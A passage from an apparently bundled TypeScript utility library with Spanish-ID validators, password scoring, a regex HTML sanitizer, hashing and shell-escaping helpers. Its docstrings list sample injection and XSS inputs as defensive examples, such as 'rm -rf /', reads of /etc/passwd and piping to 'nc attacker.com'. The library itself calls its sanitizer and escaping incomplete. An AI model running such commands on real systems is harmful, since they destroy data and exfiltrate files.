pickone(hexChars.split(''))\n const g = pickone(hexChars.split(''))\n const b = pickone(hexChars.split(''))\n return `#${r}${g}${b}`\n } else {\n // Formato largo: #RRGGBB\n const color = randomString(6, hexChars)\n return `#${color}`\n }\n}\n\n// =============================================================================\n// VALIDATORS (from validators.ts)\n// =============================================================================\n\n/**\n * Validates Spanish NIF (Número de Identificación Fiscal) format and check digit\n *\n * Verifies NIF follows format NNNNNNNNL (8 digits + control letter) and validates check digit using mod 23 algorithm.\n * Compatible with generated NIFs from {@link generateSpanishNIF}.\n *\n * @param nif - NIF string to validate (e.g., '12345678Z')\n * @returns true if valid NIF format and check digit, false otherwise\n *\n * @example\n * ```typescript\n * isValidNIF('12345678Z') // true (valid)\n * isValidNIF('12345678X') // false (wrong check letter)\n * isValidNIF('1234567Z') // false (too short)\n *\n * // Form validation\n * if (!isValidNIF(userInput)) {\n * throw new Error('NIF inválido')\n * }\n * ```\n *\n * @see {@link generateSpanishNIF} for NIF generation\n * @see {@link isValidNIE} for NIE validation (foreigners)\n */\nexport const isValidNIF = (nif: string): boolean => {\n if (!nif || typeof nif !== 'string') return false\n\n const cleanNif = nif.trim().toUpperCase()\n const nifRegex = /^[0-9]{8}[TRWAGMYFPDXBNJZSQVHLCKE]$/\n\n if (!nifRegex.test(cleanNif)) return false\n\n const number = parseInt(cleanNif.substring(0, 8))\n const letter = cleanNif.charAt(8)\n const letters = 'TRWAGMYFPDXBNJZSQVHLCKE'\n const expectedLetter = letters[number % 23]\n\n return letter === expectedLetter\n}\n\n/**\n * Alias for isValidNIF - validates Spanish NIF format and check digit.\n * @alias isValidNIF\n */\nexport const validateNIF = isValidNIF\n\n/**\n * Validates Spanish NIE (Número de Identidad de Extranjero) format and check digit\n *\n * Verifies NIE follows format XNNNNNNNL/YNNNNNNNL/ZNNNNNNNL and validates check digit.\n *\n * @param nie - NIE string to validate (e.g., 'X1234567L')\n * @returns true if valid NIE, false otherwise\n *\n * @example\n * ```typescript\n * isValidNIE('X1234567L') // true\n * isValidNIE('A1234567L') // false (invalid prefix)\n * ```\n *\n * @see {@link generateSpanishNIE}\n * @see {@link isValidNIF}\n */\nexport const isValidNIE = (nie: string): boolean => {\n if (!nie || typeof nie !== 'string') return false\n\n const cleanNie = nie.trim().toUpperCase()\n const nieRegex = /^[XYZ][0-9]{7}[TRWAGMYFPDXBNJZSQVHLCKE]$/\n\n if (!nieRegex.test(cleanNie)) return false\n\n const prefix = cleanNie.charAt(0)\n const number = parseInt(cleanNie.substring(1, 8))\n const letter = cleanNie.charAt(8)\n\n const prefixValue = prefix === 'X' ? 0 : prefix === 'Y' ? 1 : 2\n const calculationNumber = prefixValue * 10000000 + number\n const letters = 'TRWAGMYFPDXBNJZSQVHLCKE'\n const expectedLetter = letters[calculationNumber % 23]\n\n return letter === expectedLetter\n}\n\n/**\n * Validates Spanish CIF (Código de Identificación Fiscal) for companies\n *\n * Verifies CIF follows format LNNNNNNNC and validates weighted sum control digit/letter.\n *\n * @param cif - CIF string to validate (e.g., 'A12345678')\n * @returns true if valid CIF, false otherwise\n *\n * @example\n * ```typescript\n * isValidCIF('A12345678') // true (if check digit valid)\n * isValidCIF('12345678A') // false (wrong format)\n * ```\n *\n * @see {@link generateSpanishCIF}\n */\nexport const isValidCIF = (cif: string): boolean => {\n if (!cif || typeof cif !== 'string') return false\n\n const cleanCif = cif.trim().toUpperCase()\n const cifRegex = /^[ABCDEFGHJNPQRSUVW][0-9]{7}[0-9A-J]$/\n\n if (!cifRegex.test(cleanCif)) return false\n\n const organizationType = cleanCif.charAt(0)\n const number = cleanCif.substring(1, 8)\n const control = cleanCif.charAt(8)\n\n // Calculate control digit\n let sum = 0\n for (let i = 0; i < 7; i++) {\n let digit = parseInt(number[i])\n if (i % 2 === 0) {\n digit *= 2\n if (digit > 9) digit = Math.floor(digit / 10) + (digit % 10)\n }\n sum += digit\n }\n\n const controlDigit = (10 - (sum % 10)) % 10\n const controlLetter = 'JABCDEFGHI'[controlDigit]\n\n // Different organization types use different control formats\n if (['N', 'P', 'Q', 'R', 'S', 'W'].includes(organizationType)) {\n return control === controlLetter\n } else {\n return control === controlDigit.toString() || control === controlLetter\n }\n}\n\n/**\n * Validates Spanish postal code format\n *\n * Verifies postal code is 5 digits with valid province prefix (01-52).\n *\n * @param postalCode - Postal code string (e.g., '28001', '08080')\n * @returns true if valid Spanish postal code, false otherwise\n *\n * @example\n * ```typescript\n * isValidSpanishPostalCode('28001') // true (Madrid)\n * isValidSpanishPostalCode('08080') // true (Barcelona)\n * isValidSpanishPostalCode('99999') // false (invalid prefix)\n * ```\n *\n * @see {@link generateSpanishPostalCode}\n */\nexport const isValidSpanishPostalCode = (postalCode: string): boolean => {\n if (!postalCode || typeof postalCode !== 'string') return false\n\n const cleanCode = postalCode.trim()\n const postalCodeRegex = /^(0[1-9]|[1-4][0-9]|5[0-2])[0-9]{3}$/\n\n return postalCodeRegex.test(cleanCode)\n}\n\n/**\n * Validates Spanish phone number format\n *\n * Accepts mobile (6XX/7XX) and landline (9XX) with optional +34 country code.\n *\n * @param phone - Phone string (e.g., '612345678', '+34 612 345 678')\n * @returns true if valid Spanish phone, false otherwise\n *\n * @example\n * ```typescript\n * isValidSpanishPhone('612345678') // true (mobile)\n * isValidSpanishPhone('+34 612345678') // true (with country code)\n * isValidSpanishPhone('912345678') // true (landline)\n * isValidSpanishPhone('512345678') // false (invalid prefix)\n * ```\n *\n * @see {@link generateSpanishPhone}\n */\nexport const isValidSpanishPhone = (phone: string): boolean => {\n if (!phone || typeof phone !== 'string') return false\n\n // Remove spaces, dashes, and parentheses\n const cleanPhone = phone.replace(/[\\s\\-()]/g, '')\n\n // Spanish mobile: 6XX XXX XXX or 7XX XXX XXX\n // Spanish landline: 9XX XXX XXX\n // With country code: +34 or 0034\n const phoneRegex = /^(?:\\+34|0034|34)?([679][0-9]{8})$/\n\n return phoneRegex.test(cleanPhone)\n}\n\n/**\n * Validates email format using comprehensive RFC 5322 standard\n *\n * Uses validator.js library for robust email validation including internationalized domains.\n *\n * @param email - Email string to validate (e.g., 'user@example.com')\n * @returns true if valid email format, false otherwise\n *\n * @example\n * ```typescript\n * isValidEmail('user@example.com') // true\n * isValidEmail('user.name+tag@domain.co.uk') // true\n * isValidEmail('invalid@') // false\n * isValidEmail('no-at-sign.com') // false\n * ```\n *\n * @see {@link generateEmail}\n */\nexport const isValidEmail = (email: string): boolean => {\n if (!email || typeof email !== 'string') return false\n return validator.isEmail(email)\n}\n\n/**\n * Validates URL format with protocol requirement and localhost support\n *\n * Uses validator.js with protocol requirement, plus special handling for localhost URLs.\n *\n * @param url - URL string to validate (e.g., 'https://example.com')\n * @returns true if valid URL, false otherwise\n *\n * @example\n * ```typescript\n * isValidURL('https://example.com') // true\n * isValidURL('http://localhost:3000') // true\n * isValidURL('example.com') // false (no protocol)\n * isValidURL('ftp://files.example.com') // true\n * ```\n */\nexport const isValidURL = (url: string): boolean => {\n if (!url || typeof url !== 'string') return false\n\n // First try with strict validation\n if (validator.isURL(url, { require_protocol: true })) {\n return true\n }\n\n // Special handling for localhost URLs\n try {\n const urlObj = new URL(url)\n return urlObj.hostname === 'localhost' || urlObj.hostname === '127.0.0.1'\n } catch {\n return false\n }\n}\n\n/**\n * Validates if string is a valid JSON.\n */\nexport const isValidJSON = (str: string): boolean => {\n if (!str || typeof str !== 'string') return false\n try {\n JSON.parse(str)\n return true\n } catch {\n return false\n }\n}\n\n/**\n * Validates Spanish IBAN (International Bank Account Number) format and check digits\n *\n * Verifies IBAN follows ES format (ES + 2 check digits + 20 digits) and validates mod 97 check.\n *\n * @param iban - IBAN string to validate (e.g., 'ES9121000418450200051332')\n * @returns true if valid Spanish IBAN, false otherwise\n *\n * @example\n * ```typescript\n * isValidSpanishIBAN('ES9121000418450200051332') // true\n * isValidSpanishIBAN('ES00 1234 5678 9012 3456 7890') // true (spaces OK)\n * isValidSpanishIBAN('FR1420041010050500013M02606') // false (French IBAN)\n * ```\n *\n * @see {@link generateSpanishIBAN}\n */\nexport const isValidSpanishIBAN = (iban: string): boolean => {\n if (!iban || typeof iban !== 'string') return false\n\n const cleanIban = iban.replace(/\\s/g, '').toUpperCase()\n\n // Spanish IBAN format: ES + 2 check digits + 20 digits\n const ibanRegex = /^ES[0-9]{22}$/\n\n if (!ibanRegex.test(cleanIban)) return false\n\n // IBAN check digit validation (mod 97)\n const rearranged = cleanIban.substring(4) + cleanIban.substring(0, 4)\n const numericString = rearranged.replace(/[A-Z]/g, letter => {\n return (letter.charCodeAt(0) - 55).toString()\n })\n\n // Calculate mod 97 for large numbers\n let remainder = 0\n for (let i = 0; i < numericString.length; i++) {\n remainder = (remainder * 10 + parseInt(numericString[i])) % 97\n }\n\n return remainder === 1\n}\n\n// =============================================================================\n// SECURITY (from security.ts)\n// =============================================================================\n\n/**\n * Password criteria interface\n */\nexport interface PasswordCriteria {\n minLength?: number\n requireUppercase?: boolean\n requireLowercase?: boolean\n requireNumbers?: boolean\n requireSpecialChars?: boolean\n maxLength?: number\n forbiddenPatterns?: string[]\n}\n\n/**\n * Password validation result interface\n */\nexport interface PasswordValidationResult {\n isValid: boolean\n errors: string[]\n strength: 'weak' | 'fair' | 'good' | 'strong'\n score: number // 0-100\n}\n\n/**\n * Validates password strength against customizable security criteria\n *\n * Comprehensive password validation with strength scoring (0-100) and detailed error messages.\n * Checks multiple security factors: length, character diversity, forbidden patterns, common sequences.\n *\n * Validation Criteria:\n * - **Length**: min/max character count (default: 8-128)\n * - **Uppercase**: At least one A-Z letter\n * - **Lowercase**: At least one a-z letter\n * - **Numbers**: At least one digit 0-9\n * - **Special chars**: At least one symbol (!@#$%^&* etc.)\n * - **Forbidden patterns**: Blacklisted strings (usernames, company names, etc.)\n * - **Common sequences**: Penalizes '123', 'abc', 'qwerty'\n * - **Repeated characters**: Penalizes 'aaa', '111'\n *\n * Strength Scoring:\n * - **weak** (0-29): Missing multiple criteria or very short\n * - **fair** (30-59): Meets basic requirements but lacks complexity\n * - **good** (60-79): Strong password with good diversity\n * - **strong** (80-100): Excellent password with high entropy\n *\n * ⚠️ SECURITY NOTES:\n * - This is client-side validation - always verify server-side too\n * - Consider implementing rate limiting for password attempts\n * - Use bcrypt/argon2 for password hashing (not included)\n * - Check against common password databases (HaveIBeenPwned API)\n * - Enforce password expiration policies for high-security contexts\n *\n * @param password - Password string to validate\n * @param criteria - Validation criteria (optional, uses secure defaults)\n * @param criteria.minLength - Minimum length (default: 8)\n * @param criteria.maxLength - Maximum length (default: 128)\n * @param criteria.requireUppercase - Require A-Z (default: true)\n * @param criteria.requireLowercase - Require a-z (default: true)\n * @param criteria.requireNumbers - Require 0-9 (default: true)\n * @param criteria.requireSpecialChars - Require symbols (default: true)\n * @param criteria.forbiddenPatterns - Blacklisted strings (e.g., usernames)\n * @returns PasswordValidationResult with isValid, errors[], strength, and score\n *\n * @example\n * ```typescript\n * // Basic validation - Default criteria\n * const result = validatePassword('MyP@ssw0rd')\n * console.log(result)\n * // {\n * // isValid: true,\n * // errors: [],\n * // strength: 'good',\n * // score: 75\n * // }\n *\n * // Weak password\n * const weak = validatePassword('password')\n * console.log(weak)\n * // {\n * // isValid: false,\n * // errors: [\n * // 'La contraseña debe contener al menos una letra mayúscula',\n * // 'La contraseña debe contener al menos un número',\n * // 'La contraseña debe contener al menos un caracter especial'\n * // ],\n * // strength: 'weak',\n * // score: 5 // Penalized for 'abc' sequence\n * // }\n * ```\n *\n * @example\n * ```typescript\n * // Custom criteria - Relaxed requirements\n * const result = validatePassword('Secure123', {\n * minLength: 8,\n * requireUppercase: true,\n * requireLowercase: true,\n * requireNumbers: true,\n * requireSpecialChars: false // Not required\n * })\n * console.log(result)\n * // { isValid: true, errors: [], strength: 'fair', score: 50 }\n * ```\n *\n * @example\n * ```typescript\n * // Forbidden patterns - Prevent personal info\n * const result = validatePassword('Alice123!@#', {\n * forbiddenPatterns: ['alice', 'bob', 'company']\n * })\n * console.log(result.errors)\n * // ['La contraseña no puede contener: alice']\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Registration form validation\n * function validateRegistration(username: string, password: string) {\n * const validation = validatePassword(password, {\n * minLength: 12, // Stricter minimum\n * forbiddenPatterns: [\n * username.toLowerCase(),\n * 'password',\n * 'company',\n * 'admin'\n * ]\n * })\n *\n * if (!validation.isValid) {\n * throw new Error(`Password invalid: ${validation.errors.join(', ')}`)\n * }\n *\n * if (validation.strength === 'weak') {\n * console.warn('⚠️ Password is weak, consider using a stronger one')\n * }\n *\n * return validation\n * }\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Password strength meter UI\n * function updatePasswordStrengthUI(password: string) {\n * const result = validatePassword(password)\n *\n * // Update progress bar\n * document.getElementById('strength-bar').style.width = `${result.score}%`\n *\n * // Update color based on strength\n * const colors = {\n * weak: '#f44336', // Red\n * fair: '#ff9800', // Orange\n * good: '#4caf50', // Green\n * strong: '#2196f3' // Blue\n * }\n * document.getElementById('strength-bar').style.backgroundColor = colors[result.strength]\n *\n * // Display errors\n * const errorList = result.errors.map(err => `<li>${err}</li>`).join('')\n * document.getElementById('password-errors').innerHTML = errorList\n * }\n * ```\n *\n * @example\n * ```typescript\n * // Strength scoring examples\n * validatePassword('Pass1!').score // ~35 (fair - minimum requirements)\n * validatePassword('MyP@ssw0rd').score // ~75 (good - diverse characters)\n * validatePassword('C0mpl3x!P@ssw0rd').score // ~85 (strong - high entropy)\n * validatePassword('aaa111!!!').score // ~35 (penalized for repetition)\n * validatePassword('Password123').score // ~50 (penalized for 'abc' + '123')\n * ```\n *\n * @example\n * ```typescript\n * // Integration with password change flow\n * async function changePassword(\n * userId: string,\n * oldPassword: string,\n * newPassword: string\n * ) {\n * // Validate new password\n * const validation = validatePassword(newPassword, {\n * minLength: 10,\n * forbiddenPatterns: [oldPassword] // Prevent reusing old password\n * })\n *\n * if (!validation.isValid) {\n * return {\n * success: false,\n * errors: validation.errors\n * }\n * }\n *\n * // Check against breach database\n * const isBreached = await checkHaveIBeenPwned(newPassword)\n * if (isBreached) {\n * return {\n * success: false,\n * errors: ['This password has been compromised in a data breach']\n * }\n * }\n *\n * // Hash and save\n * const hashedPassword = await bcrypt.hash(newPassword, 10)\n * await updateUserPassword(userId, hashedPassword)\n *\n * return { success: true, strength: validation.strength }\n * }\n * ```\n *\n * @see {@link PasswordCriteria} for criteria configuration options\n * @see {@link PasswordValidationResult} for result structure\n */\nexport const validatePassword = (\n password: string,\n criteria: PasswordCriteria = {}\n): PasswordValidationResult => {\n const {\n minLength = 8,\n requireUppercase = true,\n requireLowercase = true,\n requireNumbers = true,\n requireSpecialChars = true,\n maxLength = 128,\n forbiddenPatterns = [],\n } = criteria\n\n const errors: string[] = []\n let score = 0\n\n // Validar longitud mínima\n if (password.length < minLength) {\n errors.push(`La contraseña debe tener al menos ${minLength} caracteres`)\n } else {\n score += 20\n }\n\n // Validar longitud máxima\n if (password.length > maxLength) {\n errors.push(`La contraseña no puede tener más de ${maxLength} caracteres`)\n }\n\n // Validar mayúsculas\n if (requireUppercase && !/[A-Z]/.test(password)) {\n errors.push('La contraseña debe contener al menos una letra mayúscula')\n } else if (/[A-Z]/.test(password)) {\n score += 15\n }\n\n // Validar minúsculas\n if (requireLowercase && !/[a-z]/.test(password)) {\n errors.push('La contraseña debe contener al menos una letra minúscula')\n } else if (/[a-z]/.test(password)) {\n score += 15\n }\n\n // Validar números\n if (requireNumbers && !/\\d/.test(password)) {\n errors.push('La contraseña debe contener al menos un número')\n } else if (/\\d/.test(password)) {\n score += 15\n }\n\n // Validar caracteres especiales\n if (requireSpecialChars && !/[!@#$%^&*()_+\\-=[\\]{};':\"\\\\|,.<>/?]/.test(password)) {\n errors.push('La contraseña debe contener al menos un caracter especial')\n } else if (/[!@#$%^&*()_+\\-=[\\]{};':\"\\\\|,.<>/?]/.test(password)) {\n score += 15\n }\n\n // Validar patrones prohibidos\n for (const pattern of forbiddenPatterns) {\n if (password.toLowerCase().includes(pattern.toLowerCase())) {\n errors.push(`La contraseña no puede contener: ${pattern}`)\n }\n }\n\n // Bonificaciones por complejidad\n if (password.length >= 12) score += 10\n if (password.length >= 16) score += 10\n\n // Penalizar patrones comunes\n if (/(.)\\\\1{2,}/.test(password)) score -= 10 // Caracteres repetidos\n if (/123|abc|qwe/i.test(password)) score -= 15 // Secuencias comunes\n\n score = Math.max(0, Math.min(100, score))\n\n let strength: 'weak' | 'fair' | 'good' | 'strong'\n if (score < 30) strength = 'weak'\n else if (score < 60) strength = 'fair'\n else if (score < 80) strength = 'good'\n else strength = 'strong'\n\n return {\n isValid: errors.length === 0,\n errors,\n strength,\n score,\n }\n}\n\n/**\n * Sanitizes HTML by removing scripts and potentially dangerous content\n *\n * Basic XSS protection that removes common attack vectors from HTML strings:\n * - `<script>` tags and their content\n * - `<style>` tags (can contain CSS-based attacks)\n * - Inline event handlers (onclick, onerror, etc.)\n * - `javascript:` URL schemes\n * - `<iframe>` tags (can load malicious content)\n * - `<object>` and `<embed>` tags (plugin-based attacks)\n *\n * ⚠️ WARNING: This is BASIC sanitization for simple use cases.\n * For production systems with user-generated HTML, use:\n * - **DOMPurify** (browser) - Industry-standard HTML sanitizer\n * - **sanitize-html** (Node.js) - Server-side sanitization\n * - Content Security Policy (CSP) headers\n * - Input validation and output encoding\n *\n * Limitations:\n * - Regex-based (can be bypassed with creative encoding)\n * - Does not validate HTML structure\n * - Does not handle all XSS vectors (e.g., CSS expressions, SVG)\n * - Not suitable for rich text editors or complex HTML\n *\n * @param html - HTML string to sanitize\n * @returns Sanitized HTML string with dangerous elements removed\n *\n * @example\n * ```typescript\n * // Basic usage - Remove script tags\n * const dirty = '<p>Hello</p><script>alert(\"XSS\")</script>'\n * const clean = sanitizeHtml(dirty)\n * console.log(clean)\n * // '<p>Hello</p>'\n *\n * // Remove inline event handlers\n * const dirty2 = '<img src=\"x\" onerror=\"alert(1)\">'\n * const clean2 = sanitizeHtml(dirty2)\n * console.log(clean2)\n * // '<img src=\"x\">'\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: User comment sanitization\n * function saveUserComment(userId: string, comment: string) {\n * // Basic sanitization\n * const sanitized = sanitizeHtml(comment)\n *\n * // Additional security checks\n * if (!isValidTextContent(sanitized, { maxLength: 5000 })) {\n * throw new Error('Comment contains dangerous content or is too long')\n * }\n *\n * // Save to database\n * return db.comments.create({\n * userId,\n * content: sanitized,\n * createdAt: new Date()\n * })\n * }\n * ```\n *\n * @example\n * ```typescript\n * // Comparison: Basic vs Production sanitization\n * const userInput = '<p>Text</p><script>alert(\"XSS\")</script><iframe src=\"evil.com\"></iframe>'\n *\n * // This library (basic)\n * const basic = sanitizeHtml(userInput)\n * // '<p>Text</p>'\n *\n * // Production alternative with DOMPurify\n * import DOMPurify from 'dompurify'\n * const production = DOMPurify.sanitize(userInput, {\n * ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],\n * ALLOWED_ATTR: ['href']\n * })\n * // '<p>Text</p>' (with better coverage)\n * ```\n *\n * @example\n * ```typescript\n * // Edge cases\n * sanitizeHtml('') // '' (empty input)\n * sanitizeHtml('<p>Safe content</p>') // '<p>Safe content</p>' (unchanged)\n * sanitizeHtml('<script>alert(1)</script><script>alert(2)</script>') // '' (all removed)\n *\n * // Complex attacks (may not catch all)\n * sanitizeHtml('<IMG SRC=j&#X41vascript:alert(\"XSS\")>') // Partially effective\n * // ⚠️ Use DOMPurify for these cases\n * ```\n *\n * @see {@link isValidTextContent} for content validation\n * @see {@link https://github.com/cure53/DOMPurify DOMPurify - Production sanitization}\n * @see {@link https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html OWASP XSS Prevention}\n */\nexport const sanitizeHtml = (html: string): string => {\n if (!html) return ''\n\n // Remover scripts y estilos\n let sanitized = html\n .replace(/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/gi, '')\n .replace(/<style\\b[^<]*(?:(?!<\\/style>)<[^<]*)*<\\/style>/gi, '')\n\n // Remover eventos JavaScript\n sanitized = sanitized.replace(/ on\\w+=\"[^\"]*\"/gi, '')\n sanitized = sanitized.replace(/ on\\w+='[^']*'/gi, '')\n\n // Remover javascript: URLs\n sanitized = sanitized.replace(/javascript:/gi, '')\n\n // Remover iframes\n sanitized = sanitized.replace(/<iframe\\b[^<]*(?:(?!<\\/iframe>)<[^<]*)*<\\/iframe>/gi, '')\n\n // Remover object y embed\n sanitized = sanitized.replace(/<object\\b[^<]*(?:(?!<\\/object>)<[^<]*)*<\\/object>/gi, '')\n sanitized = sanitized.replace(/<embed\\b[^>]*>/gi, '')\n\n return sanitized.trim()\n}\n\n/**\n * Validates basic JWT format (does not verify signature).\n */\nexport const isValidJWTFormat = (token: string): boolean => {\n if (!token || typeof token !== 'string') return false\n\n const parts = token.split('.')\n if (parts.length !== 3) return false\n\n try {\n // Validar que cada parte sea base64 válido\n for (const part of parts) {\n if (!part || !/^[A-Za-z0-9_-]+$/.test(part)) return false\n atob(part.replace(/-/g, '+').replace(/_/g, '/'))\n }\n return true\n } catch {\n return false\n }\n}\n\n/**\n * Generates a secure hash of a string using SHA-256 (Node.js) or fallback algorithm (Browser)\n *\n * Creates a deterministic hash from input string, optionally with salt for additional security.\n * Uses different algorithms depending on environment:\n * - **Node.js**: SHA-256 via native `crypto` module (cryptographically secure)\n * - **Browser**: Simple 32-bit hash fallback (NOT cryptographically secure)\n *\n * Common Use Cases:\n * - Content fingerprinting (cache busting, change detection)\n * - Non-cryptographic identifiers (object keys, lookups)\n * - Data integrity checks (comparing content versions)\n * - Anonymization (hashing email addresses for analytics)\n *\n * ⚠️ SECURITY WARNINGS:\n * - **DO NOT** use for password hashing (use bcrypt, argon2, scrypt instead)\n * - Browser fallback is NOT cryptographically secure\n * - SHA-256 alone is vulnerable to rainbow tables without salt\n * - For secure tokens, use {@link generateSecureToken} instead\n * - Consider HMAC-SHA256 for message authentication\n *\n * @param input - String to hash\n * @param salt - Optional salt to append before hashing (default: '')\n * @returns Hexadecimal hash string (64 chars for SHA-256, variable for fallback)\n *\n * @example\n * ```typescript\n * // Basic hashing - Content fingerprinting\n * const content = 'Hello, World!'\n * const hash = hashString(content)\n * console.log(hash)\n * // Node.js: 'dffd6021bb2bd5b0af676290809ec3a53191dd81c7f70a4b28688a362182986f'\n * // Browser: 'd55b9f2a' (fallback)\n *\n * // With salt - Prevent rainbow table attacks\n * const hash1 = hashString('user@example.com', 'secret-salt-2024')\n * const hash2 = hashString('user@example.com', 'different-salt')\n * console.log(hash1 !== hash2) // true\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Email anonymization for analytics\n * function trackUserEvent(email: string, event: string) {\n * const anonymizedId = hashString(email, 'analytics-salt-v1')\n *\n * analytics.track(anonymizedId, {\n * event,\n * timestamp: Date.now()\n * })\n *\n * // Cannot reverse engineer email from hash\n * }\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Content-based cache key\n * function getCacheKey(apiEndpoint: string, params: object): string {\n * const paramString = JSON.stringify(params, Object.keys(params).sort())\n * return hashString(apiEndpoint + paramString)\n * }\n *\n * const key1 = getCacheKey('/api/users', { page: 1, limit: 10 })\n * const key2 = getCacheKey('/api/users', { limit: 10, page: 1 })\n * console.log(key1 === key2) // true (same params, different order)\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Data integrity check\n * class ConfigManager {\n * private lastHash: string = ''\n *\n * hasConfigChanged(config: object): boolean {\n * const currentHash = hashString(JSON.stringify(config))\n *\n * if (currentHash !== this.lastHash) {\n * this.lastHash = currentHash\n * return true\n * }\n *\n * return false\n * }\n * }\n * ```\n *\n * @example\n * ```typescript\n * // ❌ WRONG: Password hashing (insecure)\n * const passwordHash = hashString('user-password') // Vulnerable!\n *\n * // ✅ CORRECT: Use proper password hashing\n * import bcrypt from 'bcrypt'\n * const passwordHash = await bcrypt.hash('user-password', 10)\n * ```\n *\n * @example\n * ```typescript\n * // Deterministic hashing - Same input = same output\n * const input = 'test-string'\n * const hash1 = hashString(input)\n * const hash2 = hashString(input)\n * const hash3 = hashString(input, 'salt')\n *\n * console.log(hash1 === hash2) // true (deterministic)\n * console.log(hash1 !== hash3) // true (different salt)\n * ```\n *\n * @example\n * ```typescript\n * // Environment differences\n * const input = 'Hello'\n *\n * // Node.js (SHA-256)\n * hashString(input)\n * // '185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969'\n *\n * // Browser (32-bit fallback)\n * hashString(input)\n * // '15e8a4c9' (much shorter, less collision-resistant)\n * ```\n *\n * @see {@link generateSecureToken} for cryptographically secure random tokens\n * @see {@link generateNonce} for CSRF/nonce generation\n * @see {@link https://nodejs.org/api/crypto.html#crypto_crypto_createhash_algorithm_options Node.js Crypto Documentation}\n */\nexport const hashString = (input: string, salt = ''): string => {\n if (!isNodeEnvironment()) {\n // Fallback simple para navegador (no recomendado para producción)\n let hash = 0\n const combined = input + salt\n for (let i = 0; i < combined.length; i++) {\n const char = combined.charCodeAt(i)\n hash = (hash << 5) - hash + char\n hash = hash & hash // Convertir a entero de 32 bits\n }\n return Math.abs(hash).toString(16)\n }\n\n return createHash('sha256')\n .update(input + salt)\n .digest('hex')\n}\n\n/**\n * Generates a secure random token.\n */\nexport const generateSecureToken = (length = 32): string => {\n if (!isNodeEnvironment()) {\n // Fallback para navegador usando crypto.getRandomValues\n const array = new Uint8Array(length)\n crypto.getRandomValues(array)\n return Array.from(array, byte => byte.toString(16).padStart(2, '0')).join('')\n }\n\n return randomBytes(length).toString('hex')\n}\n\n/**\n * Validates if a string is Base64 valid.\n */\nexport const isValidBase64 = (input: string): boolean => {\n if (!input || typeof input !== 'string') return false\n\n // Verificar formato básico\n if (!/^[A-Za-z0-9+/]*={0,2}$/.test(input)) return false\n\n try {\n // Verificar que se puede decodificar y re-encodificar\n const decoded = atob(input)\n const reencoded = btoa(decoded)\n return reencoded === input\n } catch {\n return false\n }\n}\n\n/**\n * Escapes special shell characters to prevent command injection attacks\n *\n * Protects against shell command injection by escaping dangerous characters that have\n * special meaning in shell environments (bash, sh, cmd.exe, PowerShell).\n *\n * Escaped Characters:\n * - Backslash `\\` → `\\\\`\n * - Single quote `'` → `\\'`\n * - Double quote `\"` → `\\\"`\n * - Semicolon `;` → `\\;` (command separator)\n * - Ampersand `&` → `\\&` (background execution)\n * - Pipe `|` → `\\|` (command chaining)\n * - Backtick `` ` `` → ``\\` `` (command substitution)\n * - Dollar sign `$` → `\\$` (variable expansion)\n * - Parentheses `()` → `\\(\\)` (subshells)\n * - Angle brackets `<>` → `\\\\<\\\\>` (redirection)\n *\n * ⚠️ CRITICAL SECURITY WARNINGS:\n * - **NEVER** trust user input in shell commands without escaping\n * - Escaping is NOT foolproof - prefer parameterized APIs instead\n * - Consider using safe alternatives:\n * - **Node.js**: `child_process.spawn()` with array args (no shell)\n * - **Python**: `subprocess.run([cmd, arg1, arg2], shell=False)`\n * - **PHP**: `escapeshellarg()` + `escapeshellcmd()`\n * - This function is Unix-focused - Windows cmd.exe has different rules\n * - Avoid shell commands entirely when possible (use libraries/APIs)\n *\n * @param input - String to escape for safe shell usage\n * @returns Escaped string safe for shell command contexts\n *\n * @example\n * ```typescript\n * // Basic usage - Escape dangerous characters\n * const filename = \"file; rm -rf /\"\n * const safe = escapeShellCommand(filename)\n * console.log(safe)\n * // \"file\\\\; rm -rf /\"\n *\n * const command = `cat \"${safe}\"` // Safe to use in shell command\n * ```\n *\n * @example\n * ```typescript\n * // ❌ DANGEROUS: Direct user input in shell\n * const userInput = \"file.txt; cat /etc/passwd\"\n * exec(`cat ${userInput}`) // INJECTION ATTACK!\n * // Executes: cat file.txt; cat /etc/passwd\n *\n * // ✅ BETTER: Escape user input\n * const userInput = \"file.txt; cat /etc/passwd\"\n * const safe = escapeShellCommand(userInput)\n * exec(`cat ${safe}`)\n * // Executes: cat file.txt\\; cat /etc/passwd (literal string)\n *\n * // ✅ BEST: Avoid shell entirely\n * import { readFile } from 'fs/promises'\n * const content = await readFile(userInput) // No shell involved\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Safe file processing\n * import { exec } from 'child_process'\n * import { promisify } from 'util'\n *\n * const execPromise = promisify(exec)\n *\n * async function processUserFile(filename: string) {\n * // Validate first\n * if (!isValidFilePath(filename)) {\n * throw new Error('Invalid filename')\n * }\n *\n * // Escape for shell safety\n * const safeFilename = escapeShellCommand(filename)\n *\n * // Execute command\n * const { stdout } = await execPromise(`wc -l \"${safeFilename}\"`)\n * return parseInt(stdout.trim())\n * }\n * ```\n *\n * @example\n * ```typescript\n * // Real-world: Better alternative using spawn (no shell)\n * import { spawn } from 'child_process'\n *\n * function processUserFileSafe(filename: string): Promise<number> {\n * return new Promise((resolve, reject) => {\n * // spawn with array args does NOT use shell - safer!\n * const child = spawn('wc', ['-l', filename])\n *\n * let output = ''\n * child.stdout.on('data', data => output += data)\n * child.on('close', code => {\n * if (code === 0) {\n * resolve(parseInt(output.trim()))\n * } else {\n * reject(new Error(`Command failed with code ${code}`))\n * }\n * })\n * })\n * }\n * // No escaping needed - filename passed as argument, not interpolated\n * ```\n *\n * @example\n * ```typescript\n * // Common attack vectors - All prevented with escaping\n * escapeShellCommand('file; cat /etc/passwd') // Prevents command injection\n * escapeShellCommand('file & rm -rf /') // Prevents background command\n * escapeShellCommand('file | nc attacker.com 80') // Prevents piping\n * escapeShellCommand('file $(cat /etc/passwd)') // Prevents command substitution\n * escapeShellCommand('file `whoami`') // Prevents backtick execution\n * escapeShellCommand('file > /dev/null') // Prevents redirection\n * ```\n *\n * @example\n * ```typescript\n * // Edge cases\n * escapeShellCommand('') // '' (empty 